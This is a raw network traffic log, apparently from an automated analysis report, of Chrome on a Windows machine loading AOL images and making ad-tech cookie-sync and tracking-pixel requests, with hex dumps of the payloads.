PNGIHDR(-SiPLTEGpLHQOOO:::wwweeekkk111XXX...9tRNS11IDATU B\,-S4`\|*4hsb9V"H{a^&

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
371	192.168.2.6	50135	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:01 UTC	572	OUT	GET /images/dims?quality=80&thumbnail=400%2C300%2Cauto&image_uri=https%3A%2F%2Fmedia.zenfs.com%2Fen%2Faol_abc_news_articles_665%2Fce9119db9a6a3fd7ce671c453a67258b&client=76f99bdb8f78cd44cc0b&signature=ae1728db52d9d6fbb164d1ce325903df077d73f3 HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:01 UTC	1510	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 9065 Cache-Control: public, max-age=2592000 Cache-Tag: 318986299420864274744631610616410391147,367645156490926147778111915858571068248,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-lga21980-LGA cld_cache: Miss from cloudfront, MISS cld_hits: 0 cld_id: 4e170788270adfaa3cec46ad7424e4c3 cld_latency: 329 Content-Type: image/jpeg Date: Thu, 23 May 2024 22:35:01 GMT Edge-Cache-Tag: 318986299420864274744631610616410391147,367645156490926147778111915858571068248,ae7a14591aaf8d474cdb3f92111c923e Etag: "3ec6a815f36402d01f04fec5d56ac4c8" Last-Modified: Thu, 23 May 2024 19:45:22 GMT NEL: {"report_to": "default", "max_age": 43200, "include_subdomains": true, "failure_fraction": 1.0, "success_fraction": 0.001} Report-To: {"group": "default", "max_age": 43200, "include_subdomains": true, "endpoints":[{"url": "https://report.edgecast.com/nel/v0?s=QlcUD1xRUxNXDlABC1NW", "priority": 1}, {"url": "https://nelcollector.sre.ecsvc.net/report", "priority": 2}]} Server: ECAcc (lhd/3598) Status: 200 OK Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=400,height=300,bytes=22774,owidth=1600,oheight=900,obytes=132643,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 0 X-Request-Id: 4e170788270adfaa3cec46ad7424e4c3 X-Served-By: cache-lga21980-LGA X-Timer: S1716494639.972186,VS0,VE329 Content-Length: 22774 Connection: close
2024-05-23 22:35:01 UTC	16383	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 09 06 07 08 07 06 09 08 07 08 0a 0a 09 0b 0d 16 0f 0d 0c 0c 0d 1b 14 15 10 16 20 1d 22 22 20 1d 1f 1f 24 28 34 2c 24 26 31 27 1f 1f 2d 3d 2d 31 35 37 3a 3a 3a 23 2b 3f 44 3f 38 43 34 39 3a 37 ff db 00 43 01 0e 0f 0f 14 11 14 27 15 15 27 51 36 2e 36 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 ff c2 00 11 08 01 2c 01 90 03 01 11 00 02 11 01 03 11 01 ff c4 00 1c 00 00 00 07 01 01 00 00 00 00 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 ff c4 00 1a 01 00 03 01 01 01 01 00 00 00 00 00 00 00 00 00 00 00 01 03 02 04 05 06 ff da 00 0c 03 01 00 02 10 03 10 00 00 00 be ea e7 cc 27 d3 Data Ascii: JFIFC "" $(4,$&1'-=-157:::#+?D?8C49:7C''Q6.6QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ,'
2024-05-23 22:35:01 UTC	6391	IN	Data Raw: e9 9a 5b 51 85 d4 c7 e4 62 1f 2c ab 1f 1a cb b8 95 91 4a 28 6f f4 99 99 18 5b 48 b2 c6 5d 0d 26 76 d1 a1 3a 1c b9 11 7f a1 3d 3a 9f 61 70 ec 4e eb c8 f4 4c 44 e3 5c e8 dd 0d 98 d7 b8 df e9 b3 3b 20 a9 24 5f 92 e8 ef a3 3b 0f 91 4b d8 5f a1 3d 3a 8e eb 4c 6e d2 7e 59 3a 44 4a 24 ae 3a 3d 20 c7 fa 73 95 22 6e c8 ad 2c 4c b3 be 97 a3 63 74 47 d4 2f d0 c8 7b 99 d7 0b 4e 9d dc 17 96 7d 88 96 26 49 6d 63 2c dc 47 21 df f4 b2 46 d1 22 cd c6 ea 37 59 62 90 c7 2b 14 a8 72 4c 6c c7 cb 17 e8 4f 4c fd 96 9d 2f 6f 2e 47 d8 8f 6d 37 24 4d 29 f2 99 28 b8 f7 25 22 c4 63 9f b3 1a 2b c8 fc 8c c8 b9 d1 ca 8f 19 11 cb 65 e8 d9 1e 47 19 33 67 c9 24 62 5c 0b f4 26 7b 19 df 29 69 d2 f6 f2 e4 7f 50 9f c1 cb ee 28 ad 32 de de 47 a2 13 20 ed 0d 6a b5 5a 32 7d c4 c9 db 1c 59 8d 11 Data Ascii: [Qb,J(o[H]&v:=:apNLD\; $_;K_=:Ln~Y:DJ$:= s"n,LctG/{N}&Imc,G!F"7Yb+rLlOL/o.Gm7$M)(%"c+eG3g$b\&{)iP(2G jZ2}Y

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
372	192.168.2.6	50132	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:01 UTC	565	OUT	GET /images/dims?thumbnail=16%2C16%2Cauto&image_uri=https%3A%2F%2Fs.yimg.com%2Fos%2Fcreatr-uploaded-images%2F2021-11%2Faacb3290-4bb5-11ec-9dff-c91b8179f931&client=76f99bdb8f78cd44cc0b&signature=9db333fbfbd97c489dfb11e31107155b55541a73 HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:01 UTC	1128	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 53808 Cache-Control: public, max-age=2592000 Cache-Tag: 352991030521014136013954760138177611573,334618087501217860398821940360977450486,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-lga21933-LGA cld_cache: Miss from cloudfront, HIT cld_hits: 0 cld_latency: 1 Content-Type: image/png Date: Thu, 23 May 2024 22:35:01 GMT Edge-Cache-Tag: 352991030521014136013954760138177611573,334618087501217860398821940360977450486,ae7a14591aaf8d474cdb3f92111c923e Etag: "6e73e8b5f42f8eb2a888e9482f70c0d2" Expiration: expiry-date="Fri, 09 Aug 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Sat, 10 Feb 2024 19:36:14 GMT Server: ECAcc (lhd/3586) Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=16,height=16,bytes=331,owidth=400,oheight=400,obytes=35383,ef=(1,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 1 X-Served-By: cache-iad-kiad7000067-IAD X-Timer: S1711265893.348713,VS0,VE1 Content-Length: 331 Connection: close
2024-05-23 22:35:01 UTC	331	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 10 00 00 00 10 08 03 00 00 00 28 2d 0f 53 00 00 00 57 50 4c 54 45 47 70 4c 3c 5b aa 3c 5a aa 4c 68 b1 3b 5a aa 3b 5a a9 47 64 af 41 5f ac 3c 5b aa 3c 5b aa 43 61 ad 3b 5a aa 3c 5b aa 3b 5a a9 3a 59 a9 47 64 af d1 d8 eb 93 a5 d0 53 6e b4 5e 77 b9 77 8d c4 71 87 c1 a2 b0 d6 8a 9d cc 7f 93 c8 68 7f bd c0 ca e4 3f 5d ab 4d 69 b2 95 87 8f 5c 00 00 00 0e 74 52 4e 53 00 d9 f9 09 d9 f9 09 31 97 9a 09 c1 c1 c1 e6 cc 46 c8 00 00 00 95 49 44 41 54 18 d3 65 8f d9 0e 83 30 0c 04 43 0a 24 81 76 9d fb 80 fe ff 77 d6 29 08 2a 75 f2 e4 b1 56 f1 0a c1 28 3d 48 39 68 25 0e 1e 06 27 66 fe ce 4f 5c ac dd 18 fc 60 38 0f 0a c1 07 e2 e7 09 50 42 a3 c5 9c 36 b2 b0 ef 06 68 31 00 c9 61 f3 2c d2 0e 8c 42 02 31 f3 d6 92 0d 15 Data Ascii: PNGIHDR(-SWPLTEGpL<[<ZLh;Z;ZGdA_<[<[Ca;Z<[;Z:YGdSn^wwqh?]Mi\tRNS1FIDATe0C$vw)*uV(=H9h%'fO\`8PB6h1a,B1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
373	192.168.2.6	50134	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:01 UTC	572	OUT	GET /images/dims?quality=80&thumbnail=400%2C300%2Cauto&image_uri=https%3A%2F%2Fmedia.zenfs.com%2Fen%2Faol_the_hill_articles_315%2Fa8f1b79ccfa49ece83246e7de9753c7f&client=76f99bdb8f78cd44cc0b&signature=17a3754ad81162af66e87793ce5ba329a1e10d89 HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:01 UTC	1147	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 9738 Cache-Control: public, max-age=2592000 Cache-Tag: 420998328187826613583268327840334718409,367645156490926147778111915858571068248,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-iad-kjyo7100035-IAD cld_cache: Miss from cloudfront, MISS cld_hits: 0 cld_id: a1859f090c68d4b44bad838e820fabd9 cld_latency: 416 Content-Type: image/jpeg Date: Thu, 23 May 2024 22:35:01 GMT Edge-Cache-Tag: 420998328187826613583268327840334718409,367645156490926147778111915858571068248,ae7a14591aaf8d474cdb3f92111c923e Etag: "f4801dbad3e499f858984fbb07651783" Last-Modified: Thu, 23 May 2024 19:52:47 GMT Server: ECAcc (lhd/35D5) Status: 200 OK Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=400,height=300,bytes=24761,owidth=900,oheight=505,obytes=125832,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 0 X-Request-Id: a1859f090c68d4b44bad838e820fabd9 X-Served-By: cache-iad-kjyo7100035-IAD X-Timer: S1716493966.795046,VS0,VE416 Content-Length: 24761 Connection: close
2024-05-23 22:35:01 UTC	16383	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 84 00 06 06 06 06 07 06 07 08 08 07 0a 0b 0a 0b 0a 0f 0e 0c 0c 0e 0f 16 10 11 10 11 10 16 22 15 19 15 15 19 15 22 1e 24 1e 1c 1e 24 1e 36 2a 26 26 2a 36 3e 34 32 34 3e 4c 44 44 4c 5f 5a 5f 7c 7c a7 01 06 06 06 06 07 06 07 08 08 07 0a 0b 0a 0b 0a 0f 0e 0c 0c 0e 0f 16 10 11 10 11 10 16 22 15 19 15 15 19 15 22 1e 24 1e 1c 1e 24 1e 36 2a 26 26 2a 36 3e 34 32 34 3e 4c 44 44 4c 5f 5a 5f 7c 7c a7 ff c2 00 11 08 01 2c 01 90 03 01 22 00 02 11 01 03 11 01 ff c4 00 35 00 00 02 03 01 01 01 01 01 00 00 00 00 00 00 00 00 04 05 03 06 07 02 08 01 00 09 01 00 02 03 01 01 00 00 00 00 00 00 00 00 00 00 00 02 03 00 01 04 05 06 ff da 00 0c 03 01 00 02 10 03 10 00 00 00 5c 0d 39 7c 9a 39 75 1b 3e 56 84 e6 bd Data Ascii: JFIF""$$6&&6>424>LDDL_Z_\|\|""$$6&&6>424>LDDL_Z_\|\|,"5\9\|9u>V
2024-05-23 22:35:01 UTC	8378	IN	Data Raw: 37 f3 02 7b ef 15 68 75 4f 06 a1 6d a0 28 38 d2 fc f7 c2 81 93 5a 96 ff 00 64 4b ca e4 ce 1f 24 7d 2b b5 1b 9c ba 5a d6 a6 ae da 26 dc e8 b8 34 b6 b3 8f c1 89 fc 18 35 23 ad 12 07 7e 2a 46 f1 4d 03 86 a9 b8 e2 52 da ee 6a ed ab a5 65 75 ac 03 ec 0d 43 70 6a 0f 74 1e 2b cd 13 47 38 a9 85 13 51 db fb 09 f0 1a ef 32 bf b3 0a 57 51 b9 53 fb 1a fe 5f 67 b0 f7 75 11 b8 41 26 28 7b 3a d0 20 f4 a8 ee df ba 64 e2 a1 98 4e 80 72 3d d8 d3 25 a2 be 60 8c d6 e7 e4 ae 48 f9 34 2d d8 07 cb 6e da 79 9c 0e 5a 32 68 2c b1 72 fd 34 99 9a f0 ed 6a d3 69 ba fb b5 21 81 08 81 86 af b5 42 1c 0e cb 24 96 07 83 f3 5e 15 db 56 c5 a7 73 b3 04 c0 d7 d0 f1 3b 53 db 77 c8 09 a4 84 1f f5 13 bf c0 a1 da 16 df 61 36 7b 50 0c ba fc 84 b0 7d 34 13 a3 4e ff 00 4a 2e 47 d0 50 0b d0 0a 8b fd Data Ascii: 7{huOm(8ZdK$}+Z&45#~*FMRjeuCpjt+G8Q2WQS_guA&({: dNr=%`H4-nyZ2h,r4ji!B$^Vs;Swa6{P}4NJ.GP

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
374	192.168.2.6	50136	34.247.233.198	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:01 UTC	807	OUT	GET /usersync?b=rth&i=VmE3357sx_5fBlXS5aQvRPDoXLvjgOaSpguvq4YkHhU&pi=gumgum&tc=1 HTTP/1.1 Host: usersync.gumgum.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://rtb.gumgum.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: vst=e_12ea1dd2-77f0-49d8-8aef-90768e12d7ac
2024-05-23 22:35:02 UTC	210	IN	HTTP/1.1 200 Date: Thu, 23 May 2024 22:35:02 GMT Content-Type: image/gif Content-Length: 35 Connection: close Cache-Control: private, no-store, must-revalidate, max-age=0 Expires: 0 Pragma: no-cache
2024-05-23 22:35:02 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
375	192.168.2.6	50137	34.111.129.221	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:02 UTC	680	OUT	GET /cr?key=pubmatic&gdpr=0&gdpr_consent=&bounce=1&random=1818656517 HTTP/1.1 Host: cr.frontend.weborama.fr Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: AFFICHE_W=YFuQnmToqQ5g67
2024-05-23 22:35:02 UTC	486	IN	HTTP/1.1 204 No Content Server: Weborama Collect Frontend Date: Thu, 23 May 2024 22:35:01 GMT Vary: Origin Access-Control-Allow-Origin: * P3p: CP="NOI DSP COR CURa DEVa PSAa OUR STP UNI DEM" Cache-Control: no-store, no-cache, must-revalidate, max-age=0, post-check=0, pre-check=0 Pragma: no-cache Expires: Tue, 03 Jul 2001 06:00:00 GMT Last-Modified: Thu, 23 May 2024 22:35:02 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
376	192.168.2.6	50140	151.101.1.44	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:02 UTC	746	OUT	GET /libtrc/tr5?abgroup=trecs-yahoo-2_var-bridge HTTP/1.1 Host: cdn.taboola.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: abLdr=21; t_gid=e0f330c0-9211-4554-a7eb-a08a7a35420f-tuctd494a14; t_pt_gid=e0f330c0-9211-4554-a7eb-a08a7a35420f-tuctd494a14
2024-05-23 22:35:02 UTC	363	IN	HTTP/1.1 200 OK Connection: close Content-Length: 3 Server: Varnish Retry-After: 0 Content-Type: text/html Accept-Ranges: bytes Date: Thu, 23 May 2024 22:35:02 GMT Via: 1.1 varnish X-Served-By: cache-ewr18136-EWR X-Cache: HIT X-Cache-Hits: 0 X-Timer: S1716503702.179656,VS0,VE0 Cache-Control: private,max-age=14400 Access-Control-Allow-Origin: *
2024-05-23 22:35:02 UTC	3	IN	Data Raw: 6c 6c 3b Data Ascii: ll;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
377	192.168.2.6	50146	15.197.193.217	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:02 UTC	761	OUT	GET /track/cmf/rubicon?gdpr=0&us_privacy=1YNN HTTP/1.1 Host: match.adsrvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eus.rubiconproject.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TDID=8369ae03-bf51-422b-a15c-33306b0e1dfe; TDCPM=CAESFwoIcHVibWF0aWMSCwjeipPY0-D9PBAFGAEgASgCMgsInoGWherg_TwQBTgBWghwdWJtYXRpY2AC
2024-05-23 22:35:02 UTC	624	IN	HTTP/1.1 302 Found Date: Thu, 23 May 2024 22:35:02 GMT Content-Length: 289 Connection: close server: Kestrel location: https://pixel.rubiconproject.com/tap.php?v=8981&nid=2307&put=8369ae03-bf51-422b-a15c-33306b0e1dfe&gdpr=0&gdpr_consent=&expires=30 set-cookie: TDID=8369ae03-bf51-422b-a15c-33306b0e1dfe; expires=Fri, 23 May 2025 22:35:02 GMT; domain=.adsrvr.org; path=/; secure; samesite=none set-cookie: TDCPM=CAESFwoIcHVibWF0aWMSCwjeipPY0-D9PBAFEhYKB3J1Ymljb24SCwia7rnl0-D9PBAFGAEgAigCMgsInoGWherg_TwQBTgBWghwdWJtYXRpY2AC; expires=Fri, 23 May 2025 22:35:02 GMT; domain=.adsrvr.org; path=/; secure; samesite=none
2024-05-23 22:35:02 UTC	289	IN	Data Raw: 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 70 69 78 65 6c 2e 72 75 62 69 63 6f 6e 70 72 6f 6a 65 63 74 2e 63 6f 6d 2f 74 61 70 2e 70 68 70 3f 76 3d 38 39 38 31 26 6e 69 64 3d 32 33 30 37 26 70 75 74 3d 38 33 36 39 61 65 30 33 2d 62 66 35 31 2d 34 32 32 62 2d 61 31 35 63 2d 33 33 33 30 36 62 30 65 31 64 66 65 26 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 26 65 78 70 69 72 65 73 3d 33 30 22 3e 68 74 74 70 73 3a 2f 2f 70 69 78 65 6c 2e 72 75 62 69 63 6f 6e 70 72 6f 6a 65 63 74 2e 63 6f 6d 2f 74 61 70 2e 70 68 70 3f 76 3d 38 39 38 31 26 6e 69 64 3d 32 33 30 37 26 70 75 74 3d 38 33 36 39 61 65 30 33 2d 62 66 35 31 2d 34 32 32 62 2d 61 31 35 63 2d 33 33 33 30 36 62 30 65 31 64 66 65 26 67 Data Ascii: Redirecting to: <a href="https://pixel.rubiconproject.com/tap.php?v=8981&nid=2307&put=8369ae03-bf51-422b-a15c-33306b0e1dfe&gdpr=0&gdpr_consent=&expires=30">https://pixel.rubiconproject.com/tap.php?v=8981&nid=2307&put=8369ae03-bf51-422b-a15c-33306b0e1dfe&g

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
378	192.168.2.6	50143	54.239.33.158	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:02 UTC	854	OUT	GET /s/dcm?pid=4bd6ceca-c698-4782-a536-f380f757484c&id=BD0DE19C-09D4-4B62-A188-46A0D2E6C177&redir=true&gdpr=0&gdpr_consent=&dcc=t HTTP/1.1 Host: aax-eu.amazon-adsystem.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=A5cRjNUAyEa0vmcria2wSMY\|t
2024-05-23 22:35:02 UTC	807	IN	HTTP/1.1 200 OK Server: Server Date: Thu, 23 May 2024 22:35:02 GMT Content-Type: image/gif Content-Length: 43 Connection: close x-amz-rid: 021SYXENTRQR50EAVG5S Set-Cookie: ad-id=A5cRjNUAyEa0vmcria2wSMY; Domain=.amazon-adsystem.com; Expires=Wed, 01-Jan-2025 22:35:02 GMT; Path=/; Secure; HttpOnly; SameSite=None Set-Cookie: ad-privacy=0; Domain=.amazon-adsystem.com; Expires=Sun, 01-Jul-2029 22:35:02 GMT; Path=/; Secure; HttpOnly; SameSite=None Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT p3p: policyref="https://www.amazon.com/w3c/p3p.xml", CP="PSAo PSDo OUR SAM OTR DSP COR" Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-05-23 22:35:02 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
379	192.168.2.6	50141	54.239.33.158	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:02 UTC	706	OUT	GET /s/dcm?pid=a38a8ddf-19a7-4ab8-ba05-0a61de92a7e5&id=&gdpr=0&us_privacy=1YNN HTTP/1.1 Host: aax-eu.amazon-adsystem.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eus.rubiconproject.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=A5cRjNUAyEa0vmcria2wSMY\|t
2024-05-23 22:35:02 UTC	898	IN	HTTP/1.1 302 Found Server: Server Date: Thu, 23 May 2024 22:35:02 GMT Content-Length: 0 Connection: close x-amz-rid: CEXQDM4M13A3FMXEHGM9 Set-Cookie: ad-id=A5cRjNUAyEa0vmcria2wSMY; Domain=.amazon-adsystem.com; Expires=Wed, 01-Jan-2025 22:35:02 GMT; Path=/; Secure; HttpOnly; SameSite=None Set-Cookie: ad-privacy=0; Domain=.amazon-adsystem.com; Expires=Sun, 01-Jul-2029 22:35:02 GMT; Path=/; Secure; HttpOnly; SameSite=None Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT p3p: policyref="https://www.amazon.com/w3c/p3p.xml", CP="PSAo PSDo OUR SAM OTR DSP COR" Location: https://pixel.rubiconproject.com/token?pid=2179&pt=n&puid=5RidXYCrRWyX3hVU66KEVw&rk=usync-other&gdpr=0 Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
380	192.168.2.6	50144	142.250.184.226	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:02 UTC	788	OUT	GET /pixel?google_nid=rubicon&google_cm&google_sc&process_consent=T&gdpr=0&us_privacy=1YNN HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eus.rubiconproject.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: test_cookie=CheckForPermission
2024-05-23 22:35:02 UTC	1011	IN	HTTP/1.1 302 Found P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Location: https://pixel.rubiconproject.com/tap.php?v=7751&nid=2249&expires=30&gdpr=0&put=CAESEPNAriglNs6WMvn_HPpwh6g&google_cver=1 Date: Thu, 23 May 2024 22:35:02 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Content-Type: text/html; charset=UTF-8 Server: HTTP server (unknown) Content-Length: 337 X-XSS-Protection: 0 Set-Cookie: IDE=AHWqTUly4VaqSUudDbFxZ6i8f3wSstck2G-xsKi1H5Ki1wSrQCD5aU-nM8msFXEJKzk; expires=Sat, 23-May-2026 22:35:02 GMT; path=/; domain=.doubleclick.net; Secure; HttpOnly; SameSite=none 